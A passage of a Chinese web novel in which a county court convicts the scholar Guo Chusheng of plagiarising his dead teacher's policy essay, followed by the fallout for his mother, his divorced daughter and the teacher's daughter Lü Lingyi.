“你,你,”郭楚生涨红了脸,你个不停。
吕令仪摆手道:“别你呀,我呀的,快说,这数据哪来的?”
“这,这,这是,”郭楚生被逼急了,口不择言道:“是笔误,笔误。”
“郭举人,你是说让你高中解元的策论上,有你的笔误吗?”吕令仪奚落道。
郭楚生骑虎难下,只得硬着头皮道:“是,是我不对,我愿受罚。”
“受罚?”吕令仪一脸疑惑道:“你都做了十几年的举人了,还怎么受罚?革去功名吗?”
郭楚生不能作答,没有这样的先例,他心里清楚认下笔误他即便受罚也一定不至于伤筋动骨,但一旦认定他策论抄袭,他会被立刻罢黜功名,不得再参加科举。
吕令仪等了会,见郭楚生默不作声,她笑道:“既然郭举人不知者这钱数是怎么来的,那我就大发慈悲告诉你。”
“那是因为我爹走访到曲周口无意间得知前不久有几座走私船铤而走险冒雨出海,遇风暴沉没,此事知道的人不多,所以官档并无记录。我爹恰好记下这笔钱,他还特意在手札中标注‘此乃特例,非恒数。’”
郭楚生闻言,吐咽口水,喉结一动,似是哑口无言。
堂下的百姓见状,有不少人改
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变立场,转而抨击郭楚生。
吕令仪冷冰冰道:“三组书数据,都与我爹手札数字相同,不是抄的,难道都是巧合不成?”
“郭举人,本官再问你一次,这手札上你当真没见过?”县太爷举着手札道。
郭楚生闭了闭眼,定了定神,拱手道:“大人,我的策论早有刊印,这女子定是看了我的策论,伪造了郑夫子的手札陷害我,还请大人明鉴。”
“郭举人,你敢这么说,是因为当初我爹的后事是你办的,你以为毁掉了他的一切手书,才敢这么说,对不对?”吕令仪尖声道。
郭楚生不理吕令仪,只对县太爷拱手道:“大人,清者自清,我从未不知郑夫子还有女儿在世,这女子身份存疑,还请大人彻查此案,还我清白。”
“郭举人,如今是要判的是你是否抄袭,欺世盗名获取功名。你若对着姑娘身份有异,可在此案后诉讼,”县太爷道:“你对于策论数据的回答并不能令人信服。”
郭楚生张口欲言。
高氏突然开口道:“大人,老身可以看看那个匣子吗?”
“娘?”郭楚生诧异看向高氏。
高氏道:“当年我儿被郑夫子诬陷剽窃,不惜烧习作自污。幸得青天大老爷还我儿清白,后来我儿不计前嫌散尽家财为郑夫子求医问药,又在郑夫子死后四处借钱为他置办丧事。”
“丧事过后,我见我儿常常对着郑夫子留下的手札伤怀,便将手札收进书桌上的一个空匣子,想着等我儿缓缓再还给他,”高氏一脸慈母,徐徐道:“谁知没多久我儿为还债,入赘张家,我便把这事搁下,时间一久也就忘了。”
“哦,现在你儿子被告了,你又想起来了?想大义灭亲了?”吕令仪刺了一句。
高氏只悲切看着县太爷道:“大人,我住进张家时,将东西都带了过去。前不久我们离开张家,什么都没有带走,想来真正的郑夫子手札,还留在张家。这个不知来历的野丫头从哪里得来?分明是做假的,陷害我儿。”
县太爷让书吏将匣子、手札等拿给高氏,叫高氏辨认。
高氏拿在手里,仔细看过道:“大人,这我不是我收起的。”
“你确定?你认得字迹吗?”县太爷质问道。
高氏摇了摇头道“大人,我识字不多,更不能辨别字迹,只是这匣子不是我当年拿来装手札的。”
“郭高氏,之前你已做过伪证,此次再犯,便是错上加错,定要重罚,且不得他人顶替,不得纳钱赎罪,你可明白?”县太爷一拍惊堂木喝道。
“大人,老身明白,老身所言句句属实,求大人明察。”高氏肯定道。
张阿蛮不解道:“她为什么这么确定?”
“我也不知道啊,谁知道她又脑补些什么。”冷小幸亦费解道。
郭楚生心中焦躁不安,却不好表现出来,只盼这次高氏靠谱,不要再拖累他。
其实,是前几日田秀才家里人故意向高氏提起冷小幸卖她和郭楚生等人的东西,挑唆她上门讨要。
高氏心知要不到,更不愿上门自取其辱,只当没听懂。
62.代夫纳妾求子的商户女30
她自以为冷小幸心胸狭窄,不愿再看到他们的任何东西,一定是都卖了。
怎么可能那么巧卖给眼前这个野丫头?就算真卖给了她,那手札能对应上儿子的策论也一定是伪造的。
至于高氏为什么这么确信?那是因为十几年前,她相信儿子是被冤枉的,她真心实意地觉得是因为她抢下了差点被烧毁的习作手稿,才证明了儿子的清白。
如今堂上对峙,堂内外半数以上的人都不相信郭楚生对于三组数据的说辞。
可高氏坚定不移相信郭楚生,所以她才会如此笃定这些所谓的证据都是假的。
“大人。”冷小幸在堂外朗声道:“我愿作证,这位姑娘所提交的证物,正是从郭高氏的房中找出。”
县太爷摆手,让衙役放冷小幸进来。
冷小幸进来后,先指着郭楚生、高氏,后指吕令仪道:“大人,我前些天卖他们二人的东西,因我提前吩咐书籍一类的东西不卖,要留给后世子孙,所以丫鬟卖东西时并没有卖郭高氏房中的匣子。恰巧这位姑娘到我铺中订腊肉,无意间看见匣子,说是她亡父之物,从我手中将匣子买走。”
“你胡说,”高氏跳着脚道:“这个匣子根本不是我当年的那个。你,你们,你们合起伙来冤枉我儿,不怕下十八层地狱嘛。”
冷小幸看都不看高氏,只把高氏气到七窍生烟。
“张掌柜,你确定这些是原告从你家带走的吗?”县太爷让文书把匣子、手札等拿给冷小幸看。
冷小幸装模作样细细看过,才道:“大人,这些东西确实是这位姑娘从我这买走的,至于究竟是不是郑夫子所有,那我就不知道了。”
县太爷点点头,转头问吕令仪道:“你说这是郑夫子所做,可有其它凭证?”
“回大人,”吕令仪有条不紊道:“这手札是我爹花费近半年时间孤身走访沿海各村庄所得,仅此一册。当年我爹走访的最后一站是闽江口渔村,六月十九闽江口突降暴雨引发山洪,冲断了进村的土路,陆路一时无法通行。我爹因天气骤变引得旧疾发作,经不起风浪坐不得船。”
“他怕自己撑不到路通,便将随身带着的零散手稿交给村中会用麻线装订账簿的周老爹,请周老爹装订成册,走水路先送到好友许举人府中,请许举人代为保管。”说到此处,吕令仪哽咽道:“若他丧信传来,就请许举人将手札交于官府。若他平安归来,便来自取。”
“后来我爹靠几家村民草药救命,慢慢缓了过来,虽未痊愈,但路通时才能勉强返程。”吕令仪收泪。
她指着郭楚生质问道:“周老爹送书的日子,已是六月二十五,你策论习作的第一篇时间是六月初七,我爹的走访都尚未结束,零散稿纸还没整理成册,你又怎能未卜先知,引用其中三组精准数据?且你的开海措施,与我爹尚未定稿的策论一模一样,天下间当真有如此巧合之事吗?”
不等郭楚生作答,吕令仪又对县太爷道:“大人,我已请来周老爹、许举人作证,请大人传唤。”
县太爷准许。
周老爹、许举人应声而入。
县太爷先问周老爹道:“你是何人?方才这位姑娘所说,是否属实?”
“回大人的话,小人周老爹,平日里在闽江口打鱼,偶尔帮人装订账簿赚几个铜板补贴家用。”周老爹佝偻着背,颤颤巍巍:“这位姑娘说的都是真的,是我前不久告诉她的。”
“详细说说,当年究竟是怎么回事?”县太爷道。
“我记得十八年前六月十九下了好大的雨,冲了进出村的路,那时郑夫子正好在我家借住,当晚就咳得直不起腰,第二日就有些浑身滚烫烧糊涂了。又过了两日他神志清醒了些,强撑着给我一沓写满字的纸,还有一个樟木匣,请我帮他把纸钉成册装进匣里,走水路送到城中许府。”
“郑夫子说这些是沿海渔户的活路不能受潮。”周老爹便回忆便道:“二十四天放晴,我划着小渔船顺江而下,又走了一天才到城中,我把匣子交给许府管家。当时许府管家要我候着,他再出来时给我二十个铜板打赏钱,还给了一百文说是许举人托我照料郑夫子。”
县太爷看着手札上的麻线,问道:“还有吗?”
周老爹想了想又道:“我记得最后一页是郑夫子在床上挣扎着写的,字歪歪扭扭。他后来告诉我写的是我们村马老二家卖女儿的事。”
县太爷翻到手札最后一页果然如周老爹所说。
他命书吏将册子拿给周老爹,问道:“你仔细看看,这到底是不是你装订的?”
周老爹摩挲着手札上粗糙的麻线针脚手艺,有些不好意思憨笑道:“这是小老儿的手艺,让大人见笑了。”
县太爷颔首,转而问许举人道:“方才周老爹所说可属实?”
“回大人,句句属实。”许举人拱手道:“当年管家确实送来郑夫子的樟木匣,我也命管家给了钱。”
“那你当年为什么没为郑夫子辩白?”高氏眼见风向逆转,指着许举人尖声道:“这会子跳出来,又是为了什么?是谁?是谁给了你好处?让你害我儿?你也是读书人,怎么如此恶毒?”
许举人本不愿理高氏,但听见堂外传出百姓的议论声,为许家名声计,他对县太爷道:“那时匣子送来,我并未打开。后来郑夫子归来,我便完璧归赵,并不知其中装了什么。当年郑夫子之案时,我因病外出求医。待我病愈,已是三年之后,早已物是人非。”
县太爷不置可否,只让书吏将匣子拿给许举人辨认。
许举人拿到匣子,指着一处不起眼的黑色印记道:“这确实是那个匣子。当年我将它放在书桌,不慎碰倒烛台上的蜡烛,在这里烧出个印记。郑夫子来取时,我曾要赔他一个,他不要还说这个匣子好,他要继续用。”
“郭举人,你还有何话可说?”县太爷拍惊堂木道。
铁证如山,容不得郭楚生狡辩,他额头渗出细汗,不能作答。
见状,县太爷当场宣判郭楚生剽窃郑夫子策论罪名成立,革去其功名。结案后,他将据实报于学政,联合下达正式公文。
高氏屡教不改作伪证,打二十板即刻行刑。
高氏凄厉惨叫一声,扑上去拽着郭楚生的胳膊道:“儿啊,你快跟他们说你是冤枉的,你没抄
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袭,你快说呀。”
郭楚生从听了宣判就像被夺了魂魄一般,呆愣在原地,被高氏扯着,仍没反应。
高氏被衙役拖到后堂行刑。
打板子声伴随着高氏的哀嚎声传来,看了一出大戏,见证善有善报恶有恶报,不是不报时候未到的百姓们心满意足离开。
可以预见,这个案件将会在不久的未来传遍州府上下。
高氏年事已高,挨完打,走不了路,被拖到郭楚生面前。
血腥味终于换回了郭楚生的意识。
衙役们冷嘲热讽道:“郭举人,赶紧带你娘走吧,我们还得善后呢。”
“什么郭举人,他已经被除名了。”
“那该叫什么呀?”
“哎呦,我算哪个牌面上的人,这我哪回知道啊。”
“以前这样的怎么叫吗?”
“以前?没听说过有这种事啊。”衙役捣着郭楚生的肩头道:“哎,你是读书人,博古通今,该怎么叫你啊?”
郭楚生脸涨成猪肝色,忍着屈辱,扶起高氏,母子俩勉强出了县衙大门。
衙役犹在身后唾弃道:“什么人嘛,问话也不说,还以为自个是举人老爷呢,我呸。”
高氏疼痛难忍,根本听不见衙役说什么,她实在是站不直。
郭楚生囊中羞涩,请不起人抬高氏,最后也不知从哪找了张破草席垫在高氏身下,拖着她走。
两人好不容易到了田秀才家门口,却见柳氏和小丫头瘫坐在路边,身边散落了些零碎东西,正在抱头痛哭。
田秀才像一头愤怒的公牛,站在门外直哼哼。
郭楚生舔了舔嘴唇,艰难开口道:“田兄,你这是?”
“别叫我,你也配叫我?”田秀才满眼怒火,手指点着郭楚生大骂道:“你个欺世盗名的无耻之徒,还敢出现在我面前,快滚。”
田秀才说完,转身回家,“砰”的一声将门关上。
周围的百姓对着郭楚生等人指指点点。
郭楚生听在耳中,一口气没上来,竟昏倒在地。
高氏自顾不暇,起不得身,捶地哭嚎道:“我的儿,我的儿,你怎么了,你别吓唬娘啊。”
柳氏和小丫鬟扑在郭楚生身旁,悲悲切切只知道哭。
最后还是郭亚男得到消息,匆忙赶来,将他们送到医馆,先给郭楚生看诊,给高氏治伤。
郎中诊断过后说郭楚生母子并无大碍,且郭楚生在郎中医治下已然清醒,还对郭亚男嘱咐了一番话。
郭亚男听了郭楚生吩咐,赶回韩家,求韩夫人给郭楚生母子垫付医药费,还得给他们几人容身之地。
韩夫人凝着眉头,看着眼前泪流满面的郭亚男,只觉像吞了苍蝇般难受。
当初郭亚男与冷小幸断亲,韩夫人便不愿意,三番五次让郭亚男去张家赔礼道歉,奈何郭亚男这个蠢货,连亲妈都哄不好。
久而久之,韩夫人也就放弃了,只能暗暗安慰自己道:“罢了,老三媳妇虽然跟张家断了关系,但与郭老爷一如往常,郭老爷好歹还有举人功名,举人家的女儿总比屠夫家的女儿好听些。”
63.代夫纳妾求子的商户女31
这么安慰了自个好几天,才缓过来接受现实的韩夫人万万没想到,不过短短几日,张家在经历了杨家诬告腊肉致死案后,生意反而蒸蒸日上,眼见着要日进斗金。
而郭楚生竟被证实是剽窃恩人策论的小人,还被革去了功名。
现在他们竟然舔着脸,指使郭亚男要韩家出钱养他们一家老老小小。
韩夫人捂住胸口,只觉得自己也要昏过去了。
郭亚男哭哭啼啼,嘴里不停说着:“我爹再不对,也生我养我,我不能弃他不顾,岂不是有违夫人教导,不忠不孝,求夫人让我爹他们去韩家城外庄子上主几日吧,成全我的一片孝心。”
吵得韩夫人脑袋嗡嗡响,她真想给郭亚男一耳光,好好问问:“到底是谁生的你?难道你不是从张阿蛮那个女屠夫肚子里生出来的?反而是从郭楚生肚子里出来的?难道不是张阿蛮起早贪黑操持肉铺把你养大?郭楚生那个没挣过一分钱的赘婿怎么把你养大?你个没心肝的不孝女,我真该替张阿蛮打死你。”
可惜韩夫人只能在心里想想,不能真的这么对郭亚男,毕竟郭亚男是一个蠢货,谁也不知道蠢货会做出什么蠢事。
也不能完全不管郭楚生,韩家还得要脸,绝不能这当口弃郭楚生这个正紧亲家于不顾。
韩夫人打断郭亚男的喋喋不休道:“庄子毕竟是下人们住的地方。郭,郭先生毕竟是你的亲生父亲,住在咱家庄子像什么话?这样吧,我给你点钱,让他们在客栈先委屈几日。”
郭亚男这个蠢货,既没懂郭楚生要她回来求韩家去庄子住的意思,也没懂韩夫人的拒绝,千恩万谢接过钱去医馆了。
韩夫人命人把韩三公子叫来,问他打算怎么办。
韩三公子只说一切都听母亲的,再问便是三棒子打不出个屁来,把韩夫人气得心口疼。
韩公子完全没察觉到韩夫人的情绪,以自己还要读书为由,告罪走了。
韩夫人恨恨捶打桌面,对着身边嬷嬷道:“这个孽障,我和他爹现在还活着,总有他一口饭吃。等我俩都死了,他可怎么办呀?”
“夫人别急,仔细手疼。”嬷嬷握着韩夫人的手,边揉边道:“三公子还小,您慢慢教就是。”
韩夫人有心休了郭亚男,但韩家是书香门第,体面人家,绝不能在这种时候对郭亚男落井下石,给旁人留下话柄。
韩夫人便想先缓缓,慢慢筹谋,既要保住韩家的脸面,也要保全儿子的名声,万不能影响他下次婚配。
令韩夫人没想到的是,还没等她出招,郭亚男竟然先行去县衙状告吕令仪冒充郑夫子女儿身份。
韩夫人听说后,气得砸了手中的茶盏,破口大骂道:“她脑子是不是有病?那姑娘不是郑夫子的女儿又能怎么样?能改变他爹剽窃别人策论的事实吗?能给他爹把功名要回来吗?等这事慢慢淡了不就好了?她出这个风头做什么?生怕别人不知道她有个寡廉鲜耻的爹吗?”
“来人,去把三少奶奶给我带回来。”韩夫人厉声喝道。
下人听命走了一趟,却没有把郭亚男带回来。
郭亚男一心一意要为她爹讨回公道,质疑状告吕令仪。
此事叫韩老爷知道,他也大为恼怒。
韩夫人对韩老爷道:“谁家有这样三天两头牵扯到官司里的儿媳?我看不如快刀斩乱麻早日休了的好,不然不知她下次又惹出什么事来。”
韩老爷把韩三公子叫过来一顿臭骂,骂他管不住自己媳妇。
韩夫人护住韩三公子对着韩老爷道:“老爷你骂老三做什么,郭亚男能跟亲娘断亲,老三哪里管得了她?说来都是她脑子糊涂,一次又一次被她爹当枪使。郭楚生使唤她也就罢了,可不能拖着咱们家下水,还是早做打算休了她吧。”
韩老爷也是这个意思。
对此,韩三公子并不反对,反正他娶妻时是奉父母之命,让他休妻也是奉父母之命,他对郭亚男感情不深,没有为郭亚男违抗父母的情分。
韩家虽定下此事,却也没立刻休了郭亚男,而是先是放出风声,传播郭亚男不敬公婆、不睦妯娌、不修妇德,用婆家的钱养娘家老小,不配为人妇,还是个跟亲娘断绝关系的白眼狼不孝女,充分占领舆论高地。
听到风声的冷小幸问过张阿蛮系统:“可要出手干预?”
“韩家虽然无耻了些,但说的话也并非全是假的。既然韩家铁了心不要她,我们帮她留下,对她也不是什么好事。”张阿蛮系统不辨喜怒道:“这次要是我们出手帮了她,她是不会受到教训的,就让她栽个跟头吧,若是她能因此醒悟,能跟郭楚生那个畜生掰扯开也好。”
冷小幸闻言点头道:“齐大非偶,她就此离开韩家也好。”便未曾插手。
城中百姓因日益泛滥的流言,更加关注吕令仪身份存疑之案。
吕令仪倒没有任何隐瞒,应诉时一五一十说得清楚明白。
她确是郑夫子的女儿。
郑夫子只娶过一位吕氏女为妻,从未纳过妾室。
早年两人曾有过一双儿女,却不幸相继夭折。
此后郑夫人陪郑夫子多年游历在外,并无所出。
两人本已接受无后一事,却在返乡途中发觉郑夫人有孕在身。
夫妻俩不敢大意,因郑夫子已无高堂,遂将郑夫人托付给岳父岳母照料。
郑夫子则回家乡开书院挣钱养家。
不料,郑夫人难产而亡,只留下一个女儿,郑夫子为其取名令仪。
因郑夫子无心续弦,家中没有女眷,遂将女儿留在郑夫人娘家教养。
郑夫人家乡与郑夫子家乡隔着几个县,音信往来并不方便,且为了能让吕令仪长大,郑夫子没敢为她大肆庆生,是以本地人大多不知郑夫子有女儿。
郑夫子身故时,吕氏夫妇年事已高,待他们听闻消息,想要为郑夫子处理后事时,郭楚生已将郑夫子埋葬。
郑夫子去得不甚光彩,那时的吕令仪才刚牙牙学语,吕氏夫妇便没有带她奔丧,之后也不曾告诉吕令仪她的身世。
吕氏夫妇并不相信女婿的罪名,奈何他们年老体弱,想要为郑夫子讨回公道也有心无力。
几年后,吕氏夫妇去世,郑夫人出嫁的姐姐将年幼的吕令仪接到身边,并为吕令仪改姓
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为吕,对外说是自己的娘家侄女。
十多年后,吕令仪出落得楚楚动人,吕姨母正要为她相看一个好夫婿,却没想到突如其来的一场水患,害得吕姨母家破人亡。
上一世的吕令仪不知亲生父母之事,在吕姨母的保护下侥幸活了下来,可惜吕姨母因伤势过重,没几日便撒手人寰。
吕令仪卖身葬母,将自己卖给牙婆,才有了后来给郭楚生做妾之事。
上一世她被郭楚生勒死,并不知道自己与郭楚生有杀父之仇,他们父女俩都是被郭楚生害死的。
这一世吕令仪重生回来还算及时,在她提醒下姨母及其它几家相信她的人家躲过了水患。
可姨父却觉得,水患是因她而起,是她生而不祥,克死生母,接着克死生父、外公外婆,现在是要克死身边所有人,决议要将她逐出家门。
吕令仪这才知道她的身世。
吕姨母为吕令仪据理力争,终是无用,为此大病一场。
吕令仪被逐出家门。
庆幸的是姨夫出于忌讳和维护自家名声的考量,并没大肆宣扬此事。
旁人只当吕令仪犯了大错,才被逐出。
吕姨母病刚好,姨父却无故身亡。
家中小妾之子报官,声称嫡母害死父亲。
因水患刚过,人手不足,本地仵作恰好前去帮忙,正是他查验姨父身尸身,还了吕姨母清白。
姨夫族人却不依不饶,非要烧死吕令仪,化解灾祸。
仵作与吕令仪的外公有几分交情,不忍吕令仪惨死,遂与姨母练手,让吕令仪女扮男装做了他的徒弟,离开吕姨母家乡来到本府。
原本只是为了让吕令仪脱身,没想到她在仵作一道很有天赋,县太爷也很赏识,吕令仪自己又喜欢,若无意外吕令仪会女扮男装继承师父衣钵做一辈子的仵作。
但意外已经来了,如冷小幸所料,吕令仪身世公开,她不能再待在县衙,也不能再做仵作的徒弟,更也不能继续从事仵作。
尽管县太爷为此专门写了一封言辞恳切的奏折,说明吕令仪专业过关,堪为仵作,朝廷仍不允许。
此案看似了结,韩家也觉得时机成熟,毫不留情休弃了郭亚男。
郭楚生等人这下失去了所有的经济来源,还得再多养一个整日哭哭啼啼、寻死腻活的郭亚男。
那些原本看在郭楚生举人身份,想要投资帮郭楚生支付赔偿款的商人们,早在郭楚生失去功名那一刻就跑远了,无不庆幸幸好还没替他赔钱。
万般无奈下,郭楚生卖掉了小丫鬟,拿着小丫鬟的卖身钱,暂时安置了一家老小。
柳氏心知要不是为了她肚子里的孩子,她跟小丫鬟一个下场,那么等孩子出生后,再没钱了郭楚生会怎么做?答案是不言而喻的。
趁孩子月份小,柳氏尚且花容月貌,有吸引人的资本,她果断喝了一剂药打掉孩子,偷了卖身契,踹了郭楚生另攀高枝跑了。
对此,冷小幸对张阿蛮系统感叹道:“柳氏的身子骨可以啊,真厉害。”
“你是不是要走了?”张阿蛮系统答非所问,泱泱道。